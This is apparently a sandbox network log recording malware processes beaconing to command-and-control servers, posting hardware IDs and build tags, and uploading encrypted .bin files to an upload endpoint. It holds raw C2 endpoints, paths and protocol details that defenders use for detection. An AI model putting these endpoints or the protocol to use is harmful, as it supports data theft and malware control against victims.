Nov 23, 2024 13:29:07.692956924 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 23, 2024 13:29:09.031279087 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:29:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	49924	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:29:10.872596025 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	49931	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:29:12.588118076 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	49937	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:29:15.406738043 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 13:29:16.762489080 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:29:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	49944	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:29:18.400090933 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 23, 2024 13:29:19.829577923 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:29:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	49945	34.116.198.130	80	5196	C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:29:18.528563976 CET	642	OUT	POST /v1/upload.php HTTP/1.1 Host: fvtekk5pn.top Accept: / Content-Length: 463 Content-Type: multipart/form-data; boundary=------------------------akdey8YRYJrlQK6JqizpMY Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 61 6b 64 65 79 38 59 52 59 4a 72 6c 51 4b 36 4a 71 69 7a 70 4d 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 51 69 6c 61 6b 61 6b 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a eb 8c 9d 4e 37 e8 80 03 b4 52 75 76 70 06 89 35 ae 9c 5d cb 5a 4b ca 71 2b 67 fc 6d 3c 37 6e 34 7c 10 fe 34 ec 8d 63 29 6e a5 a8 3a 9d 4a 0b 1f 6e a6 5e c0 80 eb f4 55 10 98 da f6 20 38 f2 06 af 71 6d 5f af 72 65 4f e2 10 7f 13 ef 89 61 3b 24 23 5e 3a fc e9 65 40 1c 17 d8 db c5 e8 09 d4 b0 24 35 1a 9e 35 47 1d 92 f1 07 15 bb 67 69 e1 36 e3 ef 90 0e ea 78 26 8e c3 33 5d 61 db 57 aa 4d ac b2 d8 fd c7 ba ef 6b 74 be 24 6a e3 97 ce 58 7f c8 76 88 bb 5b bf 7f 54 e2 1c 33 f5 60 26 e0 c2 c8 24 e9 f6 39 8b 86 34 d4 d1 93 80 f0 08 bc [TRUNCATED] Data Ascii: --------------------------akdey8YRYJrlQK6JqizpMYContent-Disposition: form-data; name="file"; filename="Qilakak.bin"Content-Type: application/octet-streamN7Ruvp5]ZKq+gm<7n4\|4c)n:Jn^U 8qm_reOa;$#^:e@$55Ggi6x&3]aWMkt$jXv[T3`&$94s2_x@bkm<4viQ@,,)hK;I9i3--------------------------akdey8YRYJrlQK6JqizpMY--
Nov 23, 2024 13:29:19.872642040 CET	271	IN	HTTP/1.1 200 OK server: nginx/1.24.0 (Ubuntu) date: Sat, 23 Nov 2024 12:29:19 GMT content-type: text/plain; charset=utf-8 content-length: 2 x-ratelimit-limit: 30 x-ratelimit-remaining: 29 x-ratelimit-reset: 1732366760 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	49947	185.215.113.206	80	5264	C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:29:18.757472992 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 23, 2024 13:29:20.133260965 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 12:29:19 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 13:29:20.137211084 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIIIJDAAAAAAKECBFBAE Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 30 43 41 38 35 45 44 33 32 44 45 33 37 31 32 36 35 39 37 38 32 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 4a 44 41 41 41 41 41 41 4b 45 43 42 46 42 41 45 2d 2d 0d 0a Data Ascii: ------HIIIJDAAAAAAKECBFBAEContent-Disposition: form-data; name="hwid"C0CA85ED32DE3712659782------HIIIJDAAAAAAKECBFBAEContent-Disposition: form-data; name="build"mars------HIIIJDAAAAAAKECBFBAE--
Nov 23, 2024 13:29:20.593841076 CET	210	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 12:29:20 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	49952	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:29:21.713123083 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 13:29:23.090667963 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:29:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	49958	34.116.198.130	80	5196	C:\Users\user\AppData\Local\Temp\1008432001\01806ad967.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:29:23.939579010 CET	12360	OUT	POST /v1/upload.php HTTP/1.1 Host: fvtekk5pn.top Accept: / Content-Length: 90616 Content-Type: multipart/form-data; boundary=------------------------QrutOv04XKExx7atNcMO9e Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 51 72 75 74 4f 76 30 34 58 4b 45 78 78 37 61 74 4e 63 4d 4f 39 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 48 69 6a 75 71 6f 6c 69 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 4f 27 b9 47 8a 8f 83 d3 42 16 a5 ff df 88 9f cc f9 2e 8b 95 f7 31 d4 61 47 04 ee d0 ef 9b 0f 78 8d 58 4d e1 b7 23 df fa cc 93 89 14 fe 5e f5 d2 44 da e1 0f 8b c5 e7 6b 2e e1 de 21 46 b6 4d ce 68 f1 c6 75 6c f1 d2 c0 f5 af 23 88 cb d6 28 a1 f2 da 49 20 3d 96 1e b7 9f 18 49 65 c1 26 d8 33 36 23 4b 94 96 8a 07 42 de 0d 95 ff 3c b6 e6 54 ee 11 f7 01 a4 a2 6b f5 8c f6 7b 21 e4 7e 9e 6b ca 7e 54 3b 00 bb 3a bc 9b dd 5f 8b 84 f8 4f 3b db 53 f7 fa 1c bc 73 7a df 37 6f 9e 9f 1e af 2d 6d c5 3b d2 64 c3 74 07 ac ae fb f2 82 bf 04 c7 [TRUNCATED] Data Ascii: --------------------------QrutOv04XKExx7atNcMO9eContent-Disposition: form-data; name="file"; filename="Hijuqoli.bin"Content-Type: application/octet-streamO'GB.1aGxXM#^Dk.!FMhul#(I =Ie&36#KB<Tk{!~k~T;:_O;Ssz7o-m;dtQusfw\@:H{hY5M`aWHcB?F@.v/p3W7qRN}iPSso\DcRZx5U/bTXVio[}$c2 ]TmNY4;RW$qqaYgbjo[]^7doP4\|["!V5PW)&_XTTKNi\;$3KYD3fK{v)s8XdyMd_D)~iL^WL9GN:-m^=lVe/$tYD56C19S#}AZ=Y\|g<Mqc3aL/2TAXBKu9-%J0JzG[BE3ivKeF3c$,-Vj?M>\|%SRIk$^/;><f}o3PqN/nW,-8+7z3tTXkix@Z\|cxcM /n:_U2:A:(d8AF [TRUNCATED]
Nov 23, 2024 13:29:24.060379028 CET	7416	OUT	Data Raw: 27 44 6d 6c a7 c7 59 ed 17 3c 33 63 be d9 78 69 1f 55 d9 7b 66 95 a1 47 c5 9b 0a 2f 23 68 6c 0a 41 aa 29 88 c8 f8 83 2a bd dd 60 e9 38 7e b7 95 82 62 11 df ca ea 03 f3 23 fd ea 2a 15 17 81 59 42 3d 5b 25 12 5a ce b2 f5 0d 66 69 65 e0 38 d4 7d 94 Data Ascii: 'DmlY<3cxiU{fG/#hlA)`8~b#YB=[%Zfie8}8pVVLL=}sEbzGYnm3:/WcS\|'4.o%9].g7=x9H.zIn@ll3G/e'dM_B.!r96\ ^
Nov 23, 2024 13:29:24.060453892 CET	2472	OUT	Data Raw: 06 c6 a3 a4 83 2a ee f2 78 1b f7 34 6f c2 10 65 10 1e cf 0a 71 0e 29 5a 44 bc 3b 4f 09 e6 d9 05 63 7a 28 7e f7 4c 8e 77 f3 2a 2a ea 74 89 90 27 98 55 9e 51 0e 4c a8 63 71 86 d4 08 2a 81 75 66 b3 17 93 fa ba fe 0b 2e c4 01 c0 0a b0 fe b3 fe c9 b6 Data Ascii: x4oeq)ZD;Ocz(~Lwt'UQLcquf.K7{=_Q@hinE@Df@`o03Kwjz}^X'4JiS`W0JrSuYo:;pC8B':oC46x1HOf
Nov 23, 2024 13:29:24.060544968 CET	9888	OUT	Data Raw: b5 87 78 ae 9e d1 c3 84 7b 6a 2c 31 2e 2d 70 60 ec 7f 49 f6 07 ee 01 50 ee 28 72 5a bf cd 77 6c 7a 35 ea d8 0b 04 e4 b7 b3 e4 58 e6 15 66 bf 51 e6 0a a2 c5 3d b4 f4 30 df c2 82 b5 d6 cd 6b 16 2c 8e 94 37 36 73 0c 5a 3d 82 83 53 3f b9 f1 cd cc 7a Data Ascii: x{j,1.-p`IP(rZwlz5XfQ=0k,76sZ=S?zm9'n`_n_XRp-_,ib6h2ZvfA'9T7)rhXKi$TeLM'rH+!xsq^_t0(icF<q9&X+5rUZY{`\
Nov 23, 2024 13:29:24.060703993 CET	4944	OUT	Data Raw: 8c 95 5d d5 96 94 f5 e9 42 56 74 53 4c ad fc ae 71 08 2d d1 10 22 09 d4 38 aa 77 2d df 0b 4d 3b c2 eb d6 cd 85 a1 09 c1 2c d2 a7 db 8f a5 ba ea fa ae f4 f2 ea e0 c5 42 d3 b4 7c a7 23 86 37 0a f7 54 1e e6 6d b4 b7 e9 76 ca 65 a9 99 2f c0 33 fe 7f Data Ascii: ]BVtSLq-"8w-M;,B\|#7Tmve/3 4xh"'a*uE_tO_[oVp_jHOi@pSK51k@t%_;}kG.bM%x99dqKA1~2#5a,S0[
Nov 23, 2024 13:29:24.180439949 CET	4944	OUT	Data Raw: 76 2f 7b 01 62 a5 a2 ca 18 13 64 19 47 ea 38 62 cb 27 bc c7 63 83 5e 0e 90 4d 24 e0 c2 47 d9 47 4b 36 0c 13 35 0e 08 11 9e c1 b1 a1 ac 20 cc 0b c2 2a f1 5c 23 12 5e 88 fb 92 5b 19 10 23 78 10 d7 d4 79 b5 8a 74 e4 91 ce e0 c3 6b c4 03 a1 23 4a cc Data Ascii: v/{bdG8b'c^M$GGK65 \#^[#xytk#JKpT#gb\kd=K;22rTqmFy^;XKSo`?tR,>\ (kLK_~Pt.ot2Bs)/A$unLc4AME1}8H
Nov 23, 2024 13:29:24.180574894 CET	4944	OUT	Data Raw: 0b 0a cd 1d 02 f0 45 b8 eb 42 21 ac cf 25 96 49 e8 a3 fe 21 d4 c5 6c 73 e1 22 76 86 62 dd ea 62 06 40 1c e9 d4 c9 64 66 7a 66 2f ed af b8 b6 86 2b 51 13 ca 2e 90 3c 56 d0 33 f3 3e 48 9c c5 94 9b 8e e5 ed bb eb d0 56 fe 98 76 3c 58 49 23 e3 d8 b4 Data Ascii: EB!%I!ls"vbb@dfzf/+Q.<V3>HVv<XI#v6I^>Af:{>\|Xu>r+I[=s!{f30';}XwuZzo3,#[y4j}~P?$rdnA"1K3DW.x
Nov 23, 2024 13:29:24.180772066 CET	4944	OUT	Data Raw: 15 6a 81 e5 5a 2b 95 13 96 16 25 03 87 d1 a3 ce 95 c0 d2 0f c3 65 e1 7c 94 64 51 f9 d2 d5 e7 69 67 06 22 1a d3 ab c6 55 0a 87 d9 66 3c 1c b6 6e 03 12 fb 7f 1d 02 4c cc 48 65 a9 3e b6 a2 6c 71 12 d9 8c ba 7b 2d fd 4c 88 f0 31 be 4c a9 61 0a 71 a7 Data Ascii: jZ+%e\|dQig"Uf<nLHe>lq{-L1Laqm<;<;=vYU~#~":Hp.XF<AGr?ZWwJ(IhnJJ-dCLR[}&I&,V'G!<b{Lcat<$
Nov 23, 2024 13:29:24.228363991 CET	27192	OUT	Data Raw: 63 4e 0f 3b 95 8a c1 60 3b 9f 3d ea 8b 41 6e 5f b3 1a 6c d4 08 ef 13 57 ee d7 11 d8 92 58 10 1c c7 1f d3 6a 9c 78 55 26 bd 38 58 5e 9a 27 bc 15 ed ac b6 16 b7 fa ed 98 63 fa 93 f3 e2 29 f4 e4 1b e6 24 ba 5c 8e 9d 5f 26 99 28 2e 6a 7d a2 45 e2 19 Data Ascii: cN;`;=An_lWXjxU&8X^'c)$\_&(.j}E%=`b(6y@Baemq%*79=;m01.h2#<:1Gmj9fa;3'l?l_TdLG,s29\l.icKWR\|
Nov 23, 2024 13:29:24.348326921 CET	8652	OUT	Data Raw: b3 cf 86 5c 84 7d da 4b f8 e9 cf c3 84 f8 27 70 fc 01 46 40 d1 37 7e cb 2f 0b ca 57 64 36 d3 71 0c 90 6d 80 b2 e0 28 e2 e0 24 e4 de c0 72 5d 34 32 d9 67 56 22 43 3a 5b b9 6d cf 6d 06 6f 16 35 6a e5 06 ce df f6 a1 75 ec c1 cb d3 6f 5d 4d b9 29 09 Data Ascii: \}K'pF@7~/Wd6qm($r]42gV"C:[mmo5juo]M)E0IW!#d>P+5Ex3`8qczBMtH&<"1>2-N0?uB/,~k9D-)XOZc6E-YX1WLf\"#I&Y
Nov 23, 2024 13:29:24.389998913 CET	1236	OUT	Data Raw: 9b 08 67 dc b7 c6 6f 5e c0 d6 21 0c 5d 88 d5 44 85 22 dd 16 ab 74 33 cc d7 56 71 cb 61 68 93 ba 6a aa f9 08 8b 99 2c d8 35 06 bd c7 f6 2d 0b ed 62 6c 77 56 b6 4b 18 f9 0d 06 97 12 99 37 5d 9b 58 e3 a2 4a ee 50 81 e2 5c 57 95 44 6a 78 07 48 e8 b9 Data Ascii: go^!]D"t3Vqahj,5-blwVK7]XJP\WDjxHK7U"7Xei-Vorkc*fF35/tmW@&/jy0GI5.WQjhv`GccsLhZ4J9GeLk25=7h?)2D+
Nov 23, 2024 13:29:25.795521021 CET	271	IN	HTTP/1.1 200 OK server: nginx/1.24.0 (Ubuntu) date: Sat, 23 Nov 2024 12:29:25 GMT content-type: text/plain; charset=utf-8 content-length: 2 x-ratelimit-limit: 30 x-ratelimit-remaining: 28 x-ratelimit-reset: 1732366760 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	49962	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:29:24.772361994 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 23, 2024 13:29:26.078392982 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:29:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	49969	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:29:27.833616972 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 13:29:29.256707907 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:29:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	49978	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:29:31.299958944 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 23, 2024 13:29:32.429420948 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:29:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	49993	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:29:34.227969885 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 23, 2024 13:29:35.607857943 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:29:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	50007	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:29:37.258851051 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 23, 2024 13:29:38.599056959 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 12:29:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	50013	185.215.113.206	80	7180	C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 13:29:39.618257999 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 23, 2024 13:29:41.050781965 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 12:29:40 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
